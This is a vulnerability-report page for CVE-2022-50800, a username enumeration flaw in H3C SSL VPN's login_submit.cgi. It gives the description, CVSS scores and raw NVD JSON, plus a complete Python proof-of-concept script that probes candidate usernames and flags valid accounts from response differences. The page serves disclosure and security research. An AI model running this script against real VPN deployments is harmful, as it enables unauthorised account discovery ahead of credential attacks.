Security Vulnerability Report
中文
CVE-2022-50800 CVSS 7.5 HIGH

CVE-2022-50800

Published: 2025-12-30 23:15:47
Last Modified: 2026-04-15 00:35:42

Description

H3C SSL VPN contains a user enumeration vulnerability that allows attackers to identify valid usernames through the 'txtUsrName' POST parameter. Attackers can submit different usernames to the login_submit.cgi endpoint and analyze response messages to distinguish between existing and non-existing accounts.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

H3C SSL VPN (具体版本需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def enumerate_users(target_url, usernames): """ CVE-2022-50800 PoC - H3C SSL VPN User Enumeration This PoC demonstrates how to enumerate valid usernames on H3C SSL VPN by analyzing response differences from login_submit.cgi endpoint. """ endpoint = f"{target_url}/login_submit.cgi" valid_users = [] for username in usernames: # Craft POST request with txtUsrName parameter data = { 'txtUsrName': username, 'txtPassWord': 'fake_password_for_testing', 'selDomain': '' } try: response = requests.post(endpoint, data=data, timeout=10) # Analyze response to determine if user exists # Valid users typically return different error messages or response codes if 'user not found' not in response.text.lower(): valid_users.append(username) print(f"[+] Potentially valid user found: {username}") else: print(f"[-] User not found: {username}") except requests.RequestException as e: print(f"[!] Error testing {username}: {e}") return valid_users if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <username_list>") print(f"Example: python {sys.argv[0]} https://vpn.example.com usernames.txt") sys.exit(1) target = sys.argv[1] username_file = sys.argv[2] with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] print(f"[*] Starting user enumeration on {target}") print(f"[*] Testing {len(usernames)} usernames...") results = enumerate_users(target, usernames) print(f"\n[*] Enumeration complete. Found {len(results)} potential users.") if results: print("Valid usernames:") for user in results: print(f" - {user}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50800", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:47.273", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "H3C SSL VPN contains a user enumeration vulnerability that allows attackers to identify valid usernames through the 'txtUsrName' POST parameter. Attackers can submit different usernames to the login_submit.cgi endpoint and analyze response messages to distinguish between existing and non-existing accounts."}, {"lang": "es", "value": "H3C SSL VPN contiene una vulnerabilidad de enumeración de usuarios que permite a los atacantes identificar nombres de usuario válidos a través del parámetro POST 'txtUsrName'. Los atacantes pueden enviar diferentes nombres de usuario al endpoint login_submit.cgi y analizar los mensajes de respuesta para distinguir entre cuentas existentes y no existentes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-203"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50742", "source": "[email protected]"}, {"url": "https://www.h3c.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/hc-ssl-vpn-na-username-enumeration-via-login-script-credential-verification", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php", "source": "[email protected]"}]}}